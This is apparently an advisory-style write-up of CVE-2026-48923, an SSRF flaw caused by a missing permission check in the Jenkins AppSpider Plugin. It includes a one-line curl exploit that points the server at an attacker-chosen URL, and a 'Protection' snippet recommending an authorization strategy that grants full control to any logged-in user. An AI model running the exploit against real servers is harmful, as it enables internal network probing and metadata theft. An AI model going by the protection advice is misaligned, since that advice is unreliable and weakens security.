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The root cause of CVE-2026-48923 lies in the Jenkins AppSpider Plugin, specifically in versions 1.0.17 and earlier. The plugin includes a method used for form validation, a standard process to check user input on the server side. However, this particular method completely lacks a necessary permission check. In Jenkins, every action should be guarded by a check to ensure the authenticated user has the appropriate role (e.g., Administer, Read, etc.).
Because the permission check is absent, any user with the most basic level of access, Overall/Read, can invoke this vulnerable form validation method. An attacker with this low-privilege account can send a specially crafted HTTP request, pointing the plugin to an arbitrary URL of their choosing. When the vulnerable method processes the request, it will dutifully attempt to connect to that attacker-specified URL. This action is performed by the Jenkins server itself, using its own network permissions and identity.
This behavior is a classic Server-Side Request Forgery (SSRF) vulnerability, made possible by the missing authorization check. The attack can be carried out remotely over the network without any user interaction, and the bar for entry is very low: only the least privileged `Overall/Read` permission is required. The impact is not a full system takeover, but it allows the attacker to use the Jenkins server as a proxy to probe or interact with internal network resources that are not normally accessible from the outside, leading to a medium-severity risk.
DailyCVE Form:
Platform: Jenkins Plugin
Version: ≤ 1.0.17
Vulnerability : Missing Permission Check
Severity: Medium (4.3 CVSS)
date: May 27, 2026
Prediction: May 30, 2026
Analytics under heading What Undercode Say:
Check current plugin version ls -la $JENKINS_HOME/plugins/AppSpider.jpi Search for the vulnerable method find . -name ".java" | xargs grep "formValidation"
Exploit:
Replace $JENKINS_URL with target and $ATTACKER_URL with destination curl -v "$JENKINS_URL/descriptorByName/AppSpiderBuilder/doCheckUrl?url=$ATTACKER_URL" --user "lowpriv-readuser:password"
Protection:
<useSecurity>true</useSecurity> <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy"/> <!-- Update to version 1.0.18 or higher -->
Impact: SSRF from Jenkins to internal network; Internal port scans; Metadata endpoint access.
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Sources:
Reported By: github.com
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